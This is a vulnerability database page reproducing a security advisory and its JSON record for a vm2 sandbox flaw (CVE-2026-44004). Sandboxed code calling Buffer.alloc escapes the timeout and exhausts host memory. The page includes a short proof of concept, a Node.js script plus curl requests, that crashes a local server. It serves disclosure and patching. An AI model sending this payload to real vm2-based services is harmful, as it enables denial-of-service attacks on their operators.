GHSA-6785-PVV7-MVG7

Vulnerability from github – Published: 2026-05-07 04:26 – Updated: 2026-05-14 20:36
VLAI
Summary
vm2 Sandbox Access to Host Buffer.alloc Allows timeout Bypass Resulting in Memory Exhaustion
Details

Summary

Sandboxed code can call Buffer.alloc() with an arbitrary size to allocate memory directly on the host heap. Because Buffer.alloc is a synchronous C++ native call, vm2's timeout option cannot interrupt it. A single request can exhaust host memory and crash the process with a FATAL ERROR: Reached heap limit.

Details

In lib/vm.js:58, Buffer is exposed to the sandbox through the HOST object. The bridge proxy (lib/bridge.js) passes Buffer.alloc() calls to the host without any size validation.

Key technical distinction from regular JavaScript memory exhaustion (e.g., while(true) a.push(...)): - JavaScript loops: V8 can interrupt via timeout — vm2's timeout option works - Buffer.alloc(N): Executes as a single synchronous C++ call — V8 timeout has no opportunity to interrupt

This means: 1. timeout: 5000 does NOT protect against this attack 2. A single call allocates the entire requested size at once 3. In memory-constrained environments (Docker, Lambda, Kubernetes pods), this causes immediate OOM crash

Tested amplification factor: ~100 bytes HTTP request — 1,000,000:1 or greater (100 bytes request to 100MB+ host heap allocation).

PoC

Library-level PoC (Node.js script — primary):

const { VM } = require("vm2");
const vm = new VM({ timeout: 5000 });

// Buffer.alloc bypasses timeout — allocates 100MB on host heap
const result = vm.run(`Buffer.alloc(1024*1024*100).length`);
console.log(result); // 104857600 — timeout had no effect

// Control test — JavaScript loop IS caught by timeout
try {
  vm.run(`var a=[]; while(true) a.push(1)`);
} catch(e) {
  console.log(e.message); // "Script execution timed out after 5000ms"
}

HTTP demonstration (OOM crash):

# 1. Confirm server is running
curl -s http://localhost:3000/api/execute \
  -X POST -H "Content-Type: application/json" \
  -d '{"code":"\"alive\""}'
# => {"result":"\"alive\""}

# 2. Send Buffer.alloc payload — process crashes with OOM
curl -s -X POST http://localhost:3000/api/execute \
  -H "Content-Type: application/json" \
  -d '{"code":"Buffer.alloc(1024*1024*100).length"}'
# => empty response (process died)

# 3. Check server logs:
# FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory

# Control test — JavaScript loop IS caught by timeout:
curl -s -X POST http://localhost:3000/api/execute \
  -H "Content-Type: application/json" \
  -d '{"code":"var a=[]; while(true) a.push(1)"}'
# => {"errors":["Script execution timed out after 5000ms"]}
# Server stays alive — timeout works for JS, but NOT for Buffer.alloc

Impact

  • DoS: A single HTTP request crashes the host Node.js process via OOM. The timeout option provides no protection.
  • Environment-dependent severity:
  • Memory-constrained environments (Docker with memory limits, Kubernetes pods, Lambda): The allocation exceeds the memory limit, causing immediate process termination via OOM. This is the primary threat scenario — FATAL ERROR: Reached heap limit was confirmed in testing.
  • Unconstrained environments: The allocation succeeds and memory is reclaimed by GC after the request completes, resulting in temporary performance degradation rather than a crash.
  • Scope: All applications using vm2. Default configuration is vulnerable. Memory-constrained environments (Docker, Kubernetes, Lambda) are most severely impacted.
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.10.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.11.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44004"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T04:26:39Z",
    "nvd_published_at": "2026-05-13T18:16:17Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nSandboxed code can call `Buffer.alloc()` with an arbitrary size to allocate memory directly on the host heap. Because `Buffer.alloc` is a synchronous C++ native call, vm2\u0027s `timeout` option cannot interrupt it. A single request can exhaust host memory and crash the process with a `FATAL ERROR: Reached heap limit`.\n\n### Details\nIn `lib/vm.js:58`, `Buffer` is exposed to the sandbox through the `HOST` object. The bridge proxy (`lib/bridge.js`) passes `Buffer.alloc()` calls to the host without any size validation.\n\nKey technical distinction from regular JavaScript memory exhaustion (e.g., `while(true) a.push(...)`):\n- **JavaScript loops**: V8 can interrupt via timeout \u2014 vm2\u0027s `timeout` option works\n- **`Buffer.alloc(N)`**: Executes as a single synchronous C++ call \u2014 V8 timeout has no opportunity to interrupt\n\nThis means:\n1. `timeout: 5000` does NOT protect against this attack\n2. A single call allocates the entire requested size at once\n3. In memory-constrained environments (Docker, Lambda, Kubernetes pods), this causes immediate OOM crash\n\nTested amplification factor: ~100 bytes HTTP request \u2014 1,000,000:1 or greater (100 bytes request to 100MB+ host heap allocation).\n\n### PoC\n\n**Library-level PoC (Node.js script \u2014 primary):**\n```javascript\nconst { VM } = require(\"vm2\");\nconst vm = new VM({ timeout: 5000 });\n\n// Buffer.alloc bypasses timeout \u2014 allocates 100MB on host heap\nconst result = vm.run(`Buffer.alloc(1024*1024*100).length`);\nconsole.log(result); // 104857600 \u2014 timeout had no effect\n\n// Control test \u2014 JavaScript loop IS caught by timeout\ntry {\n  vm.run(`var a=[]; while(true) a.push(1)`);\n} catch(e) {\n  console.log(e.message); // \"Script execution timed out after 5000ms\"\n}\n```\n\n**HTTP demonstration (OOM crash):**\n```bash\n# 1. Confirm server is running\ncurl -s http://localhost:3000/api/execute \\\n  -X POST -H \"Content-Type: application/json\" \\\n  -d \u0027{\"code\":\"\\\"alive\\\"\"}\u0027\n# =\u003e {\"result\":\"\\\"alive\\\"\"}\n\n# 2. Send Buffer.alloc payload \u2014 process crashes with OOM\ncurl -s -X POST http://localhost:3000/api/execute \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"code\":\"Buffer.alloc(1024*1024*100).length\"}\u0027\n# =\u003e empty response (process died)\n\n# 3. Check server logs:\n# FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory\n\n# Control test \u2014 JavaScript loop IS caught by timeout:\ncurl -s -X POST http://localhost:3000/api/execute \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"code\":\"var a=[]; while(true) a.push(1)\"}\u0027\n# =\u003e {\"errors\":[\"Script execution timed out after 5000ms\"]}\n# Server stays alive \u2014 timeout works for JS, but NOT for Buffer.alloc\n```\n\n### Impact\n- **DoS**: A single HTTP request crashes the host Node.js process via OOM. The `timeout` option provides no protection.\n- **Environment-dependent severity**:\n  - **Memory-constrained environments** (Docker with memory limits, Kubernetes pods, Lambda): The allocation exceeds the memory limit, causing immediate process termination via OOM. This is the primary threat scenario \u2014 `FATAL ERROR: Reached heap limit` was confirmed in testing.\n  - **Unconstrained environments**: The allocation succeeds and memory is reclaimed by GC after the request completes, resulting in temporary performance degradation rather than a crash.\n- **Scope**: All applications using vm2. Default configuration is vulnerable. Memory-constrained environments (Docker, Kubernetes, Lambda) are most severely impacted.",
  "id": "GHSA-6785-pvv7-mvg7",
  "modified": "2026-05-14T20:36:44Z",
  "published": "2026-05-07T04:26:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-6785-pvv7-mvg7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44004"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vm2 Sandbox Access to Host Buffer.alloc Allows timeout Bypass Resulting in Memory Exhaustion"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…